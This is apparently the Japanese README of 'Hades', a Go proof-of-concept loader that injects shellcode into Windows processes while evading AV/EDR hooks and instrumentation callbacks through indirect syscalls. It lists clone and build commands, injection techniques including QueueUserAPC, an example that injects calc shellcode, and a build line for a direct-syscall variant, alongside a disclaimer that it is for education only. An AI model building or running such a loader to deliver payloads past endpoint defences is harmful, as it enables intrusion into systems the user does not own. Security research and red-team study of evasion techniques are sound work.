Hades は、最新のAV/EDRが一般的に使用する防御機構をバイパスすることを目的として、いくつかの回避技術を組み合わせた概念実証ローダーです。
最も簡単な方法は、Linux上で make を使用してプロジェクトをビルドすることです。
git clone https://github.com/f1zm0/hades && cd hades
make
その後、実行ファイルをx64 Windowsホストに持ち込み、.\hades.exe [options] で実行できます。
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Usage:
hades -f <filepath> [-t selfthread|remotethread|queueuserapc]
Options:
-f, --file <str> shellcode file path (.bin)
-t, --technique <str> injection technique [selfthread, remotethread, queueuserapc]
queueuserapc テクニックを使用して calc.exe を起動するシェルコードを注入します:
.\hades.exe -f calc.bin -t queueuserapc
ユーザーモードフック回避(syscall RVAソート) - NtQueueApcThreadを frida-trace と カスタムハンドラ でフック

間接システムコールによる計装コールバック回避(注入されたDLLは syscall-detect(jackullrich 作成))

最新リリースでは、直接システムコール機能は acheron が提供する間接システムコールに置き換えられました。何らかの理由で直接システムコールを使用した以前のバージョンのローダーを使用したい場合は、direct_syscalls タグをコンパイラに明示的に渡す必要があります。これにより、ビルドに含めるファイルと除外するファイルが自動的に決定されます。
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
警告
このプロジェクトは教育目的のみで作成されました。Goでのマルウェア開発の実験と、unsafe パッケージや奇妙な Goアセンブリ 構文について学ぶことを目的としています。 自分が所有していないシステムでは使用しないでください。このプロジェクトの開発者は、このツールの不適切な使用によって生じた損害について一切の責任を負いません。
このツールに影響を与えた知識やコードを共有してくれた以下の方々に感謝します:
このプロジェクトはGPLv3ライセンスの下でライセンスされています – 詳細は LICENSE ファイルを参照してください。